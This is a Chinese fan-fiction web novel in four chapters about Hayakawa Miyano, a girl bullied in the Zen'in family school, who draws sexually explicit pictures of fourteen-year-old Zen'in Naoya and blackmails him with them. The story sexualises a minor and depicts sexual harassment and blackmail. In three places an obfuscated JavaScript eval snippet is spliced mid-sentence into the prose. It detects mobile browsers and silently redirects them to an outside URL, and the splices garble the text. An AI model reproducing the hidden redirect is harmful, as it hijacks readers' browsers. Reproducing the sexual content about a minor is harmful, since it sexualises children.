《抱歉,伤害男人的事我全做了》 1. 第一章 早川宫野合理的怀疑自己又被戏耍了。 在她推门而入的那一刻,原本还有些吵闹的教室瞬间安静下来,私塾老师停下板书的手,一齐看向站在门口的早川。 与教室里的其他身穿常服的学生不一样,明明只是日常私塾的上课,她却十分不合时宜的穿着训练用的无袖上衣,连外衫都没有披,后背露出好大一片肌肤。 底下几个“炳”成员的少年看着她谈论了些什么,抬头瞄过她一眼后,窃窃的笑起来。 为首的是坐在第二排中间位置上,一个身穿灰色紋付羽织的黑发少年。 他虽坐在中间,周围的位置却出奇的大,两边的桌子都快要挤到墙角,他却两腿岔开的盘坐在蒲团上,琥珀色的瞳孔带着玩味的笑意,似笑非笑的看着她。 早川宫野只需要一秒就猜到是出于谁的杰作了。 “早川同学,你是不是……记错课程了?” 教他们上课的是一个戴着眼镜的小老头,据说是禅院家的分家,被聘过来当私塾老师,不过性格温顺,课上大多数也是底下各玩各的。 “嗯……抱歉,是我出门的太匆忙,以为是体能课,记错了时间了。” 早川露出十分抱歉的微笑,鞠躬道歉:“下一次我会多多注意的,请老师不要生气。” “啊……我倒是没什么。不过早川同学,你这样会着凉的吧,有没有哪位同学愿意借给早川同学一件外套?” 话音刚落,底下一阵嬉笑。 “呐,老师,借给早川的话,衣服上会有汗汗的味道哦,会很臭的。” “笨蛋,她都说了只是穿错衣服啦。老师,我可以自告奋勇让早川同学坐到我怀里和我一起取暖哦!” 就是这样……她作为私塾里唯一上课的女子的处境。 每一个调侃戏弄她的人,都会在出言讥讽她后下意识的去看禅院直哉,只有当直哉露出笑意后,众人才会继续附和着哄堂大笑。 从她上个月到禅院家的那一刻开始,这种讥笑就已经开始了。 一开始只是私下的窃窃私语,到后面演变成明面上毫无顾忌的话语。 不过只是有人故意告诉了她错误的课程,临走前换错了衣服而已。况且她的身体还没有到被风吹一吹就会感冒的程度。 “没关系的。” 早川宫野露出温和的笑容,替讲台上有些不知所措的老师解围:“我跑过来的时候刚好还有些热,老师不用管我,继续讲课就好。” 早川的座位在禅院直哉的后面。原本她是坐在最后一排的,但因为好几次从后面路过的同学都会有意无意的撞过她的后背,在短暂的观察后,她把目光锁定在班上所有人都顺从的禅院直哉身上。 原本只是想和直哉关系打好,寻求一下庇护。却没想到禅院直哉上下扫视了她一番,讥笑一声转身离开。 从那天起,她的处境就更糟糕了。 甚至还十分恶趣味的把她的座位换到了他的后面。 早川宫野抬步向座位走去,刚越过禅院直哉的座位,跪坐下身来,手里的书本还没放齐,直哉像是后面是垃圾场一样恶心的东西。连带着他的桌子和蒲团,都向前移了移。 桌角摩擦地面发出刺耳的响声,禅院直哉两根手指捏着鼻子,上扬的眼角毫不掩饰内心的厌弃,讥讽道:“啧……都是汗味,臭死了。” 他的声音不大不小,但其实周围三圈以内的人都能听的清清楚楚。黏糊糊像青蛙的舌头一样的目光又在她身上游动起来,讲台上的小老头停顿了一秒,随后把书举的更高,加快速度的念起来。 她的身上当然没什么味道,原本她就是走来的。再加上院里的侍女很喜欢用花泡着给她洗衣服,每一次都会等到太阳把衣服晒的暖暖的才取下来。 只不过是禅院直哉日常讥讽她的方式罢了。 “脏死了”“臭死了”“恶心死了” 这种既简单明了又可以快速表达情绪的词汇,直哉很喜欢用。 或者说,很喜欢在她身上用。 早川宫野不语,只是垂眸记着笔记。直到下课,一个半小时的课程结束后,早川才长长的松了一口气。 “你觉得她里面穿衣服没。” 什么被压低了的声音响起,伴随着还有收东西,拉上书包拉链的声音。虽然已经刻意掩盖了声音,但早川就坐在他们前面,就连两人的语气词都听的一清二楚。 “胸罩吗?嘶……没有吧。你看她后面都是空的诶。” “你小子还懂的挺多的嘛……不过我听说市面上有一种叫乳贴的东西哦。” “妈呀……那不更色了。” 坐在早川后面的两个人都是“炳”里的成员,其实每一次都能听到这种若有若无的话,要么是猜测今天她穿的什么颜色,要么是她今天为什么要弄这样的发饰。 伴随着的是嬉笑声,以及在起身离开之际,装出礼貌的微笑和她告别:“那么明天见,早川同学。” 有些人看上去还没有烂掉,其实骨子里已经烂透了。 早川宫野加快了书写的速度,她合上笔记本,正准备收拾东西离开。 一只修长的手按住了她的笔记本封面,紧随而至的是由远及近的黑影覆盖了她的整张桌子。 “我也很好奇呢,早川君。” 禅院直哉嘴上用着同辈间礼貌的称呼,琥珀色的瞳孔却居高临下的盯着她,唇边勾起一抹笑意。 “你的衣服里面到底穿了吗?是胸罩吗?还是什么别的?呐我说……不如脱下来让我们看一看吧,真的很好奇呢。” 禅院直哉此话一出,刚准备离开的两个人也不走了,露出感激且谄媚的表情一个劲的喊着他。 “真、真的吗,直哉大人!” “直哉大人太棒了!” 享受着他人的夸赞和崇拜,从禅院直哉出生那一刻开始就如影随形。他抬起上挑的眼角瞟了一眼神情期待的两人,眼神不屑的坐在早川的桌子旁,翘起腿:“一群没出息的东西……嘛,快点啊早川,没听见我说话吗?聋子嚒?” 巨大的阴影悬盖在早川上方,遮挡了桌面凌乱的笔记和胡乱摆放的笔,早川宫野垂着头,额前的碎发挡住了她的视线,因为禅院直哉坐在她的桌子上一翘一翘着腿的缘故,五颜六色的彩铅在桌面前后晃动起来。 在这种情况下,禅院直哉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536946|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出奇的有耐心,琥珀色的瞳孔扫视着他目光所及的地方,停留在隐隐约约能看见胸口的位置。 啧…… 真贱。 早川宫野也不说话,只是垂着头,像是要等他觉得烦了,像往常一样抛下一句“没意思”后,等他离开。 又是这样…… 禅院直哉眯了眯瞳孔,表情已然有些不耐。 一开始还兴致勃勃等着看好戏的两人,察觉出来情况似乎有些不太对,相互对视一眼后打着哈哈,连带着周围也伺机等着分一杯羹的其他人,借口说家里有事,就先走了。 告别前像是不想给早川留下坏印象一样,又重复了一遍刚才的话语。 “那个、明天见哈直哉大人,还有早川同学。” 说完飞快的逃离,还十分贴心的替直哉把教室的门关上。 “哈……” 禅院直哉轻笑一声,反正他今天也无事可做,有的是时间陪她玩。 偌大的教室里,窗外的天色已经快黑了,只剩下教室里还亮着白织的光。 禅院直哉也不急,勾着腿把玩着早川桌上的文具。像小孩子一样,拿起一支左右看看后,向后随意的甩去。 一支接着一支,彩铅他就全部掉丢,钢笔他就用笔尖在桌子上折断。 直到他伸手准备拿过她的笔记本,早川宫野才有了反应。 她抬起眸,褐色的瞳孔在昏暗的影子下显得有些暗沉:“直哉君,我建议你不要这样做。” 说着就在直哉愣神之际,硬生生从他手里拽回了笔记本。 直到早川走到教室后门准备离开,禅院直哉才反应过来。 这个卑贱的贱女人……竟敢用那样的眼光看自己。 “早川!你竟敢……” 咚——— 拳头撞击到铁门发出沉重的声响。 禅院直哉的后背抵住墙面,自己左侧的铁门被她的手臂拦住去出。直面他的,是早川异常幽暗的黑色瞳孔,以及与寻常不敢反抗小绵羊的形象完全不相符。 “直哉君,我劝你不要再继续逗弄我之类的事情哦?” 早川宫野开口。明明眼前的女人比他还矮一个头,却像是趴在他耳边说话一样。因为两个人隔的很近,直哉甚至能感受到她口中喷撒的热气,痒痒的落在他的嘴唇上。 早川宫野笑了笑,褐色的瞳孔却没有笑意。 “像我这种外面来的私生女,可是会趁你睡觉半夜悄悄爬上你的床……对你做一些不好的事情的呢。” 她停顿了一秒,褐色漂亮的眼珠意味不明的扫了一眼他的弓部,唇边笑意加深:“直哉君也不想……那样的事情发生吧。” 什……什么? 禅院直哉被眼前的场景愣的不轻,从来没有一个人敢这样对他说话,更不说还是被一个女人给堵在角落。 也不知是气的还是恼的,耳根隐隐发烫唯一理智告诉他应该发动咒术,现实中却只是指尖死死的抠抓着背后的墙壁,指甲里堆积着白色的粉灰。 禅院直哉死死咬着下唇,下意识的夹了夹腿。 早川宫野… 这个贱女人…疯了嚒!? 2. 第二章 初春的太阳落山的很早,夜幕逐渐拢下来,淡橙色的落在最后一抹余晖上。 一条无人的小路上,一个人影走的飞快。 “贱人!贱人!!” 禅院直哉似乎气急了,因为脚下的快速走动,连外面的羽织都有些倾斜的滑到左肩。宽大的振袖伴随着走路的动作大幅度前后摆动着。 脚下的木屐蹭到地面,发出拖拖拉拉的声音。 袖口下攥紧的手,每咒骂一次,手心就握的紧了几分。 刚才他和早川分别的并不体面。直哉承认他真的当时大脑一片混乱,以至于都还没来得及对她做出什么实质性的动作,教室里只剩下他一个人了。 “嘁……装腔作势。” 禅院直哉不以为然。 院里的障子被人大力拉开,等待侍奉侍女见直哉回来,纷纷放下手里的东西,跪坐在地上。贴身的几个侍女走上前,垂目乖巧的替他取下外织。 早川宫野,与其说是禅院家的私生女,不如说是不知道哪个野种流落在外的孤女。从自己一年前见到这个名叫早川的人时,禅院直哉就喜欢不起来。 看似一副乖巧听话的模样,但其实那双褐色的瞳孔没有一丝笑意。却还露出大大的笑容,喊着“直哉君。” 恶心死了。 因为第一眼就恶心的讨厌,所以他不准早川宫野叫回“禅院宫野”也是情理之中的事情吧? 侍女柔软的指尖触碰到他的脖颈,落在颈间轻轻柔柔的。侍女正垂眸整理着他的领子,突然下巴被大力的钳住。 “啊……!直哉大人…” 侍女一惊,对上禅院直哉琥珀色的瞳孔,噗咚一声跪在地上,头深深的抵着手背。 直哉轻笑一声。 他就说嘛……这种才是女人面对他时该有的乖巧姿态。 不敢直视他的眼睛,对他说话时应当轻声细语用上敬语。 女人这种东西———就应该跪在男人三步之外的距离啊… “滚吧。” 直哉的心情似乎不错了起来,他摆了摆手,径直走进卧室。 禅院直哉的卧室是不允许普通侍女进来的,禅院家的规矩严格,尤其是直哉院里的规矩,一切都必须按照他的意愿来进行随时的改动或调整。只有贴身的侍女,才有资格到他的卧室清理。 他躺在床上,翻开着最新一本的漫画书。 和所有日本dk一样,漫画和游戏也是直哉的喜好之一。 不过…… “啧。” 禅院直哉突然啧出声,蹙起眉将手里的漫画丢在一旁。 搞什么啊…… 根本看不进去啊。 满脑子都是早川那个贱人,明明看上去像绵羊一样瘦小,却在铁门上打出那么大一个拳头吗? 禅院直哉坐起身,因为思索,琥珀色的瞳孔被眼皮遮住,若有所思的看着床单的一角。 “笔记本……” 他喃喃道,弯了弯嘴角。 那么在意那个笔记本……把它抢过来当着早川的面撕碎的话——— 一定会哭的很好看吧? 抱着这样的心情,禅院直哉连续好几天都兴致不错。 直到这样的情况持续到了第三天,第四天众人来私塾上课时,意外的发现直哉的心情出奇的糟糕。 “是没吃早餐的缘故吗?直哉大人,我今天刚好有带三明治,如、如果不嫌弃的话……” “谁要吃你的饭盒。” 禅院直哉甚至并未正眼看他,语气毫不掩饰讥讽。一个叫不出来名字的旁系罢了,能让他们这种低下的世家子弟来同他一起上课,见面给他跪磕一个都是不为过的。 修长的指尖轻触着桌面,禅院直哉看着已经空了整整三天的后座,漫不经心道:“早川呢?” 自从那天从教室离开后,早川宫野已经连续三天没有来上课了。虽然是私生女,姓还保留着原本母亲的姓氏,但众人都心知肚明早川宫野骨子迟早有一天会变成“禅院宫野”。 同学面下一乱,左顾右盼企图寻求帮助,与他对视的众人纷纷垂下眼帘,避开目光。 “早川君她……应该是生病了吧……” “生病了?” 禅院直哉挑眉。 “嗯……我前天有东西忘在教室了,回来取时路过了早川君,她好像……眼睛红红的,像是才哭过的样子。” 越说到后面,禅院直哉上扬的弧度就越来越大。 果然只是在装腔作势吗? 还以为那一拳有多厉害呢…原来极限就已经是那样了吗? 禅院直哉若有所思,手指摩挲着下巴。 如果当着生病的早川抢走她的笔记本并且撕碎的话…… 怎么看都会更加有趣呢。 ———— 禅院直哉一直等到天色快暗下来,才走到早川的院口。 虽然是私生女,但莫名的宅院比真希和真依两个人住的都还要大。大门紧紧关闭着,门上雕刻着禅院徽章的图案。 “真晦气……” 直哉烦躁,正要踢开门,脚碰到大门的那一刻突然顿住。 早川不会……那天把他推倒在墙上的事情告诉院子里的侍女了吧? “因为我在墙上壁咚了直哉,所以回来的有些晚啦。”亦或者是:“禅院家的未来家主也不过如此啰,他当时脸超红的呢。” 禅院直哉甚至能想象到早川露出人畜无害的笑容,看似毫不在意,实则大肆炫耀自己有“欺负”过未来家族的夸张事迹。 一定早就说过了!怪不得这几天路过的下人都笑看着他,神情很是怪异。 禅院直哉怒起一重又一重,胸口剧烈起伏着。他本想直接转身离开,等到和早川在训练场切磋的时朝她后背砍上一刀,最好她直接半身不遂或者失血过多死掉的。 但因为气恼而引起的条件反射,身体已经快于大脑,一脚已经踹了出去。 砰——! 大门向后敞开,撞击到后面的石板又弹回,发出闷闷的声响。 院里的侍女一齐回头看向他,双方都表情微愣。 该死…… 侍女跪拜在地,为首的贴身侍女走过来。 该死该死! “直哉大人,这么晚了,是……?” “啊——没什么,我看早川君好几天没来上课,给她送课本的。” 该死该死该死!! 禅院直哉露出一贯不屑的表情,早已收敛起刚才的气恼。甚至在提到“早川君”时还放缓了语气,一副关系不错的样子。 “啊!原来是这样。不过早川大人有事出去了,不如大人进来等吧。” 早川宫野的院子禅院直哉并没有来过。 因为禅院很大,旁系来上他家上私塾的子弟又很多,他不可能每一个院子都去过。 只不过院子里种了一棵很大的树,一块小花圃上还种着蓝紫色的绣球花,一旁浇水的侍女转过身来微微屈身。 到底还是女人啊…… 直哉看到绣球后身体放松了些,嘴角也溢出一贯讥讽的笑意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536947|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 女人不就是喜欢这种没用的东西吗?什么花啊,树啊,草啊的,非常符合女人的形象。 侍女领着他到了堂厅就下去了,堂厅正对面一副挂画,榻榻米上一方矮桌,桌上摆放着糕点和还在冒着热气的茶。 糕点只剩下一块了,早川似乎吃了很多。 禅院直哉的确带了早川的课本,作为未来的家主,不论什么事都要做到毫无破绽是必修课。只不过早川不知道在外面干什么,一直等到桌上的那杯茶都放凉了,还没回来。 禅院直哉烦了一声,正要起身离开,余光看见厅堂里半掩着的房间。 笔记本……应该是在房间里的吧? 直哉停顿片刻,他像是在思索些什么,原本要离开的此时也犹豫不决起来。 “嘁……真是的,你在怕什么啊。” 几秒后,直哉自言自语道:“整个禅院未来都是我的东西,不过是区区房间而已。” 他大步走向早川的房间,单手推开门。 “况且,只是女人的房间——不就是可以随便进的吗?” 如他所料,房间的书桌上正正好摆放着那本笔记,说是笔记却像是写了很多东西一样,能明显感受到单张纸页的重量翘起的一角。 禅院直哉居高临下,垂眸看着笔记本,在一片寂静的环境中,缓缓伸出手。 因为是第一次窃拿,尽管直哉已经在面上极力的表现出平稳和企图漫不经心的样子,但无法压制的心跳声还是在他的耳骨响起。 他拿起笔记本,在越来越大的抨击声中翻开了最新的一页。 没有任何字迹,甚至连颜色较重的红笔或者钢笔墨水都没有,只有弯弯曲曲的几条铅笔线条摆在那里。 像是什么动物趴在桌子上,又像是人体某个曲线。 “什么鬼……” 禅院直哉皱眉,胡乱的向前翻动着。 难道早川上课时都在画一些小人画吗?还装出一副好好学生的样子。 前面都是清一色不同样子的人体结构,比较模糊,都不太能看得清楚。 直到脑子里什么东西驱动着直哉,他将笔记本倒过来拿在手上。 这下真的看清楚了,禅院直哉也愣住了。 是他。 画的全是他。 各种各样的他。 趴在桌子上赤裸着的他,头埋在什么东西之间的他,被压在床上的他…… 脸上的表情被描画的异常丰富且生动,面红耳赤、紧咬牙关,甚至被压在床上时手臂突出的青筋,和凌乱的床单。 “什么……” 禅院直哉已经无法用言语来形容现在的情绪了,愤怒、气恼、恼羞成怒……一切的形容词都可以来描述他现在的心情。 他几乎要拿不住笔记本,因为极度的气恼胸口一起一伏,口中也喘着粗气,双手不止的颤抖着。 纸张的边缘被指甲掐破,留下一个月牙的小痕迹。 也不知是气昏了头还是什么缘故,就连早川从外面回来了他都没有发觉。 直到房间的门被打开,禅院直哉慌乱的抬头。 黑暗中,看不清早川宫野的眼睛,但是却能清楚的看见早川一秒的愣神后,嘴角突然加大的笑意。 “哎呀……被发现了吗。” 她露出几分惋惜的微笑,拉开门的手放下。 “看起来,直哉君并没有认真听我那天说的话呢。” “突然闯进我的房间,还乱翻我的东西——” “是在给我什么暗示嚒?” 3. 第三章 早川宫野那天从教室出来的时候已经很晚了。 虽然这段时间的的确确在禅院有一些不愉快的事情发生,但大多都是一些十分幼稚且无聊的讥笑。 就像国中生的男孩们一样,会引起班上女同学的注意力,拽一下女孩们的头发啊、或者突然隔空投篮一样。 有些像苍蝇一样讨厌,不过比她幼年一个人当街流浪、食不果腹的日子要好太多啦…… 其实她本意是不想惹事的。 早川只想美滋滋的躺在院里的椅子上,每天画一些小画,普通的苟一苟日子而已。 不过…… 早川宫野推开门。已经是晚上八九点的样子了,屋里没有开灯,但窗外隐约的月色还是让她清晰的看见禅院直哉惊慌失措的表情。 他微微弓着背,看见她的那一刻几乎可以用“慌乱”来形容,因为死死捏住本子的力度过大,单薄的纸也轻颤起来。 啊……怎么说,的确表情有些精彩了呢。 记忆中她明明没说什么,甚至为了安抚还露出了十分真挚且友善的笑容。 可她话音刚落,正准备上前一步,禅院直哉突然加快了呼吸的频率,琥珀色的瞳孔猛缩,像是什么烫手的烙铁一样飞快的甩开手里的笔记本。 纸张在空中划过,发出哗啦啦的声音。 禅院直哉跌跌撞撞的撞开她,因为跑的过急,还踩到了自己的裤裙,撞开她时踉跄了一下。 早川宫野伸了伸手,最终也是欲言又止,什么也没说。 昏暗的夜色下,只剩下散落在地上的纸张,以及她脚边什么亮晶晶的东西。 早川宫野低头,注视片刻后蹲下捡起。 “直哉君的羽织纽吗……” 按照禅院的传统,羽织纽本应是较为严肃且官方性的白色绒球状。可禅院直哉偏偏戴了一条像女士手链一样小巧金属风的羽织纽。 “是刚才太匆忙掉的吧。” 早川宫野耸耸肩,放进口袋。 “明天还给他好了,嗯……顺便可以道个歉之类的吧。” 虽然可能道歉没什么用……毕竟她画的真的挺详细的。 不仅细心的用了彩铅上色,还用上了渐变和柔光。为了凸显出人物的面部表情,构成一种若隐若现的意识流,她还特意去学习了超现实主义风格的作品。 她捡起洒落的画稿,弹了弹灰。最右上边的一角被戳破的地方留下一个小小月牙。 次日一醒,早川宫野就早早的去了教室。从她的院子到私塾还有些距离,等早川来的时候,禅院直哉已经在教室了。 往常的直哉会坐在她的桌子上。开口次数最多的不一定是他,一般只是环抱着双臂,眼神戏谑的看着他们刻意的聊着他感兴趣的东西,偶尔会发表一两次想法,随后听着众人对他的附和。 今天的直哉也如往常一样,坐在她的桌子上。 早川并不介意,或者说并不是很在意。她像以往一样在露出礼貌的微笑回应着对她打招呼的同学后,抬眸看向禅院直哉。 他像是没想到早川会突然侧过脸和他对视,原本上扬不屑的眼角有些微愣,随后上下扫动着她的全身,以肉眼可见的迅速皱起眉。 甚至连嘴角都露出嫌弃的弧度。 “直哉君。” 既然是要来道歉的,早川宫野放缓了眉眼,连声音都柔和起来,露出乖巧真挚的表情。 明明是温和的笑容,可在直哉眼里完全不是一回事。 是挑衅吧,绝对是赤裸裸的挑衅吧! 禅院直哉的嘴唇抿成一条直线,牙齿轻轻撕咬着自己下唇内壁里的软肉。 从刚才进教室开始,早川就看见他了,却偏偏刻意的忽视了他,越过他和别人打招呼。 绕了一圈才对上他的眼神,本以为会说一些什么软话,结果看着他好几秒,眯了眯瞳孔,以极度挑衅的嘴角勾起唇,像是把他的名字含在口中滚烫了一遍后,才嚅嗫着喊了他的名字。 与昨天晚上那个如出一辙的笑意,那些不堪的画册一股脑的又重新浮现起他的脑海中。 ……该死的早川! 袖口的拳头狠狠攥起。 害得他昨天一夜都没睡着,早上还失手打碎了茶杯。 早川宫野在喊了一声他的名字后就自顾自的坐下了,像往常一样拿出笔和纸,以及……那个熟悉的笔记本。 禅院直哉的大脑几乎空白了一瞬。 早川宫野这个贱人……不会要当着这么多的面翻开吧!? 虽然只有前几页画的是他,但周围来来往往的那么多人,如果手臂离开压着的纸,哪怕一个不经意,任何人都会看见里面的内容。 开什么玩笑———!! 明明昨天晚上都发生那样的事情了,居然还恬不知耻的又带到教室里来了吗!? 禅院直哉咬牙切齿,琥珀色的瞳孔扫过一眼周围同早川说话的其他同学。 大多都是一些他叫不上名的旁系,或是一些连旁系都称不上的小门小户的子弟,巴结不上他,就转身和早川巴结。 如果被这些下三滥家族的人看见早川宫野笔记本里画册的内容…… “啧……吵死了。” 禅院直哉踢了一脚桌子。但踢的不是早川的桌子,而是早川隔壁一个正在吃便当不知名同学的桌子。 木屐撞击铁桌,发出清脆的声响。禅院直哉居高临下:“你们很闲吗?每天早上像苍蝇一样嗡来嗡去,吵的我头都疼了。” 他嗤笑一声,视线微妙的划过早川。 “你们还真是不挑啊,什么货色都下的去口吗?” 围在早川身边的男同学连连鞠躬道歉,飞快的逃回自己的座位。 争先恐后的赶紧逃离现场,像是生怕被他记住脸,留下不好的印象。 禅院直哉心情不错的晃了晃腿,一低头发现早川宫野不知道什么时候抬起的头,褐色的瞳孔正看着他。 “谢谢直哉君哦。” 早川宫野做着口型,褐色的瞳孔亮晶晶的。 什么鬼…… 禅院直哉几乎要笑出声来。 蠢上天了的笨女人,难道以为他在帮她吗? 早川宫野放低了声音,在直哉一瞬间的呼吸停滞间翻开前几页,用只有他们两个人的声音说道:“我把前面的画册改了内容,都是直哉君训练时流汗或者与其他人打斗的场景,不是什么……嗯……那些内容我已经全部擦掉了。” 的确看上去好像没有什么问题了,甚至有的不好改动的地方把脸上的表情全部擦掉了,顶多只是类似于大卫一样的人体结构图而已。 “啧。” 禅院直哉啧了一声,跳下早川的桌子,连一个眼神都没给她,席地坐在自己的蒲团上。 谁要看这种东西了啊…… 不过是一些小人卑劣的行为罢了,作为未来禅院家的继承人,这点小把戏还伤害不了他。 他本身也没有多在意的好吧。 只是上课时,早川宫野发觉禅院直哉好像一直在若有若无的靠在她的桌子上。 明明他的位置已经很大了,却偏偏要把蒲团移到后面,把她的桌子当靠椅。 禅院家的私塾很无聊,不然早川也不会上课画工口小漫了。靠在她桌前的黑色发尾有些刺刺的落在脖颈上,直哉似乎很喜欢那件白色的内儒,不管外面是什么颜色的羽织,里面都是清一色的白衬。 毛茸茸的黑色小碎发衬托着他的脖颈非常白皙。甚至可以用女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536948|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子的细腻来形容,没有颈纹,隐约之间也可以看见下巴的一角,明明还只是十四岁左右的年纪,下颚却已经棱角分明。 虽然还只是少年,但总感觉顺着脖颈一路向下,会非常顺畅的摸到已经稍有起色的胸…… 早川的思绪还没来得及收回,一种如芒刺背的不适感让禅院直哉突然转过头。 她顺理成章的对上直哉琥珀色不悦的瞳孔。 “……” 早川宫野眨巴眨巴眼睛,企图遮住手里初见端倪的草稿。 一直到下课,早川都没再动笔了。 在日常同学间虚伪但礼貌的告别后,早川起身收东西。唯一不同的是往常最先离开教室的禅院直哉,此时此刻站在教室门口,像是在等待着什么,环抱着双臂神情不耐的看着她。 早川宫野加快了收拾的动作,抱起书走出教室刚越过他,就听见后面发出烦躁的砸舌声。 她转过身看向出禅院直哉时,对方又瞬间收敛起了那种神色,取而代之的是一贯不屑高傲的眼神。 以及一副十分微妙的“我就知道”的表情。 早川宫野无奈的叹口气。 既然是来找她的,直接说就好了,为什么还要等她先开口。 “直哉君。” 她开口,禅院直哉看着她点了点下巴,从鼻腔中发出一个淡淡的单音。早川宫野摊开手: “我知道你要什么,这个是你昨天落在我房间的。” “……” 不提还好,直哉压根没注意到昨天慌乱的都掉了东西。现在只会无时不刻不在提醒他那天自己究竟有多狼狈。 “不是这个。” 他冷冷开口:“本子,给我。” 早川宫野停顿片刻,最终还是递给了他。 直哉粗鲁的一把抓过,原本就有些散架的薄本,此时底部已经像抹布一样皱巴巴。他简单的随意翻动后,撕下前几页,揉成一团。 他似乎想要砸到她的脸上,但不知道什么原因,抬了抬手只是砸到了她的肩上,有几团也只是擦着她的肩膀越过。 这种熟悉的主导权感,几乎瞬间让直哉的心情大好。破坏一个人最珍视的东西,对于他而言几乎是轻而易举。 禅院直哉垂下眸,正准备奚落几声,一低头却看见早川宫野正站在原地,无聊的转着脚尖。 注意到他的视线,早川宫野抬起头:“啊……抱歉,稍微分了一下心。那既然没事的话,我就先回去了。” 她说着就准备走,像是看了一场无聊的话剧表演…… 甚至可能还是幼儿话剧表演。 一股无力感油然而生,禅院直哉又气又恼,伸手抓过她的肩膀:“喂…喂!你这是什么表情?早川……你这个贱女人,不会有什么备份吧?” 他本是突然想到的一句话,却没想到早川看着他眨巴眨巴眼睛。直哉正要动怒,早川突然伸出手,温热的手心贴着他的手背,看着他眯了眯眼睛。 “直哉君,这样吧。你把刚才扔掉的画稿全部都捡起来,重新贴回本子上。你贴一张,我就给你一本,贴两张,我就给你两本。” 看似人畜无害的微笑,褐色的瞳孔却散发着晦涩不明的光。 禅院直哉的心跳抑制不住的狂跳起来,不是因为什么别的,而是他发觉自己按在早川肩上的手……抽不回来了。 像是一座大山,狠狠的压着他的手背上。 “贱……” “如果直哉君一张都不捡的话,我会把我所有的画册,全部都复印下来,贴在禅院的各个角落噢?” 上扬的语调,勾起的嘴唇,突然凑近他耳边如同海妖的低语。 “到那个时候,所有人都会看到直哉君下流的样子哦。” 4. 第四章 是恶魔吧…… 禅院直哉看着眼前露出人畜无害微笑的早川宫野。 明明遮住眼睛是温顺的笑意,遮住嘴巴是绵羊一样柔和的褐色瞳孔。 可偏偏两种叠合在一起时…… 绝对是伪装成温柔绵羊的恶魔吧。 禅院直哉从未受到过威胁。男人是这样,女人亦是这样,男人会用敬畏的眼光垂下眸看着他,女人会用爱慕的眼神跪下身匍匐在他脚边。 直到他第二次受到威胁———两次均出自早川宫野之手。 这个用看似温和乖巧,实则是恶魔的女人之手。 他用尽全身力气,甚至凝聚了咒力才从早川的手里抽回。不知是因为太过于气恼还是什么原因,抽出手的动作有些大了,他颇为狼狈的后退了两步。 胸口剧烈的起伏让他回忆起昨天从早川院里跑出来的场景。 其实颤抖的不仅仅是他的手指,还有他的身躯。 是一种无法抑制住的颤抖,指尖陷入手心的软肉,才能迫使他现在不会像那天一样局促。 禅院直哉死死的盯着她,讥讽和嘲笑的话并没有说出口。 因为他真的感觉……是眼前这个女人会做出来的事情。 一个孤立无援的私生女,本就一无所有,无论情况再糟糕也不过是回到初点而已。 但是他不一样。 他是禅院家的未来家主,是唯一的、拥有继承资格的长子。 他绝对不能……让眼前这个卑贱的私生女阻碍了他的家主之路。 中午的阳光并没有出来,今天天气有些阴了,暗沉沉的云层压在地面。 被风吹起的树叶发出沙沙的声响。 禅院直哉咬了咬牙床。 他是看过早川的那些画的,有多么露骨他也是知道的。偏偏早川画技竟还不错,回去后如果再添油加醋一些…… 他看着眼前的早川,很显然对方并没有要走的意思。她已经收起了些笑意,但若隐若现的唇边依然微微上扬。 一把无形的怀表隔在两人中间,而手拿怀表的人就是早川。 直哉很难清楚的知道等她的耐心耗尽后会怎么样。 不知道过了多久,早川看见眼前这个比她高一个头的少年动了动手指。 禅院直哉先是动了动手,随后以一种极其缓慢的动作越过早川。额前下垂的发丝挡住了大半张脸,让人看不真切。 禅院直哉自己都不知道此时的心情是怎么样的,琥珀色的瞳孔直直的盯着地面的花纹。接着是被放慢了倍速一样的弯下腰,修长手指碰到刚才扔出去的纸团。 纸团朝上的画面,还停留着用铅笔勾勒出他伸出舌尖,眼神失焦的草稿。 贱人… 他攥紧手里的纸团,伸出手去捡另一个。 贱人…… “今天晚上之前给我吧,不过和直哉君的院子还有些距离,直哉君记得一定要早一点出发哦。” 早川,你这个贱人…… “如果在晚餐之前我没有看见完好无初的笔记本的话,明天早上大家都会在各个角落看见直哉了。” 贱人贱人贱人贱人…… “那么,加油吧,直哉君~” 鞋跟落在地上发出渐行渐远的声音,倒影在地板的身影消失在走廊尽头。 一切的一切又归为寂静。只剩下地面还散落的几团纸,以及角落的笔记本。 禅院直哉双膝跪在地上,身体蜷缩在一起,头深深的埋在两臂之间。他双手握拳,死死攥着手里凌乱的画稿。 被发丝遮住的眼帘下,是一双几乎快要滴出血来的琥珀色瞳孔。 “早川宫野——” 他咬牙切齿。 “我一定要杀了你!!” ———— 